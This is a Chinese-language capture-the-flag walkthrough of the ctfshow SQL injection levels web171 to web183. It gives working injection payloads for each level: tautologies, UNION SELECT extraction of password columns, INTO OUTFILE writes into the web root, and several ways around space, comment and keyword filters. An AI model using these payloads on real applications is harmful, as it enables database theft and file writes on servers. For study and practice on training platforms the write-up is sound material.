# SQL 注入
# web171
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111193218826.png" alt="image-20250111193218826" style="zoom:67%;" />
这里有引号判断是 字符型注入
,and 优先级高于 or,所以先 username !='flag' and id='0'
再 or username='flag'
这里相当于 'id'
【不用管双引号】,看题目应该是要找到 username=flag
,可以把前面的判断为假,然后注入一个 or
来让后面为真:
0' or username = 'flag #这里 flag 后面不闭合上,因为原本语句最后会加上 `'` |
得到 flag:
# web172
直接打开看不见信息,查看源码可以找到:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111214505702.png" alt="image-20250111214505702" style="zoom:67%;" />
访问 url/select-no-waf-2.php
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250111214607149.png" alt="image-20250111214607149" style="zoom:67%;" />
这里应该是将返回值带有 flag 的给屏蔽了,本想直接匹配 password = 'ctf%'
,但是也没有
0' or password='ctf%' --+ #这里应该是找到了 flag,但是由于返回的字段带有 flag 所以不显示 |
采用 联合查询union
,要保证前后查询列数相同,不能查询 username
,所以查询 id
和 password
1' union select id , password from ctfshow_user2 --+ #后面没加where条件,所以这里会显示所有的项,由于项数大于1,因此要用 `--+`注释掉后面的limit 1 | |
#后面发现可以加上限制条件: | |
1' union select id , password from ctfshow_user2 where username='flag' --+ #这里只是找出有 flag 的项,但不显示 username,只有 id 和 password |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112115624263.png" alt="image-20250112115624263" style="zoom:67%;" />
# web173
这次还是过滤了返回的 flag,利用 联合注入union
,不过注意:这里前面 select 的字段名是三个,因此联合注入的字段也需要是三个才能正确显示:
1' union select 1, id ,password from ctfshow_user3 where username='flag' --+ |
# web174
一开始进去发现数据库一直异常,查看源码发现,给的页面是 waf3 的,手动访问 waf4
把数字给过滤了,要把回显的数字给替换成字母,为了不在还原的时候把原本 flag 的字母给还原成数字,这里就要把数字给替换成大写字母:
1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'g','K') from ctfshow_user4 --+ |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112143533871.png" alt="image-20250112143533871" style="zoom:67%;" />
接着还原:
text="ctfshow{JJACCJdA-JbaG-DHbc-aEfH-GBCIFJICBeAA}" | |
print(text.replace('A','1').replace('B','2').replace('C','3').replace('D','4').replace('E','5').replace('F','6').replace('G','7').replace('H','8').replace('I','9').replace('J','0').replace('K','g')) |
# web175
过滤了所有 ascii 码,正常回显行不通,这里将输出的数据指定输出位置然后查看就行(利用 into outfile
)
1' union select username,passowrd from ctfshow_user5 into outfile '/var/www/html/flag.txt' --+ |
接着访问 url/flag.txt
# web176
对参数进行了过滤,需要慢慢试【看 wp 知道是过滤了 select
,可大写绕过 Select
】,我这直接注入就得到了 flag
0' or username='flag' --+ |
# web177
万能密码试试
0' or 1=1--+ #发现回显是无数据 |
0' or username='flag' --+ #也不回显 |
接下来试了好多,报错注入,联合注入,布尔盲注,都没有回显,也不报错,用时间注入也不行
最后看 wp,发现是过滤了 空格
1' and '1'='1 #不能正常显示应该是有过滤。 | |
1'||'1 #若可以正常显示,那么应该是过滤了空格或者 and (因为上面只有空格和 and 不一致) | |
1'and'1 #没有问题,则就是过滤了空格 | |
#用 /**/ 绕过空格过滤(/**/ 替换空格): |
payload1:
1'/**/union/**/select/**/id,username,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23 #'#这里最后的注释符如果是 --+ 会无法成功,可能把 `+` 当作空格了 |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112183853590.png" alt="image-20250112183853590" style="zoom:67%;" />
payload2:
0'/**/or/**/username='flag'%23 |
# web178
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112184553928.png" alt="image-20250112184553928" style="zoom:80%;" />
试了一下,还是把空格过滤了,用 /**/
代替空格发现不行,用空格 url 编码 %0d%0a
发现可以绕过,有回显
1'%0d%0aand%0d%0a'1 #1' and '1 |
构造 payload:
0'%0d%0aor%0d%0ausername='flag |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112185427491.png" alt="image-20250112185427491" style="zoom:67%;" />
# web179
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112185953095.png" alt="image-20250112185953095" style="zoom:67%;" />
还是过滤了 空格
,然后 %0d%0a·
行不通了, %0b
、 %09
都被过滤了
用不带空格的万能密码,得到 flag:
'or'1'='1'%23 |
# web180
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112191320218.png" alt="image-20250112191320218" style="zoom:67%;" />
过滤了空格,但是没有过滤 %0c
,构造 payload
0'%0cor%0cusername='flag'%23 |
不行, %23
也被过滤了,去掉自己闭合的,得到 flag:
0'%0cor%0cusername='flag |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112191748061.png" alt="image-20250112191748061" style="zoom:67%;" />
# web181
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112193106231.png" alt="image-20250112193106231" style="zoom:67%;" />
把所有空格的绕过基本上都过滤了,注释符也过滤了,尝试用 +
或者 ()
绕过
1'+and+'1'='1 #行不通 | |
0'or(username)='flag #得到 flag |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112193848470.png" alt="image-20250112193848470" style="zoom:67%;" />
# web182
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112194403705.png" alt="image-20250112194403705" style="zoom:67%;" />
多过滤了个关键字 flag
, 没关系,用 %
作为通配符来匹配就行
0'or(username)like'fla%'--%01 #不能用`=`,要用like | |
-1'or(username=concat('fl','ag'))and'a'='a #拼接出flag | |
0'or'1'='1'--%01 #也可以得到 flag |
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112195731762.png" alt="image-20250112195731762" style="zoom:67%;" />
# web183
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250112200235304.png" alt="image-20250112200235304" style="zoom:67%;" />
这里的 ""双引号
与 post 是一个整体,这里是一个整形注入
前几道题用户表名是 ctfshow_user
开头,这里试试,看可以查出结果:
<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250113133417930.png" alt="image-20250113133417930" style="zoom:80%;" />
题目里查询语句的 conunt(pass)
, pass
就是字段名,利用 like 匹配一下看看有没有 flag
tableName=(ctfshow_user)where(pass)like'ctfshow |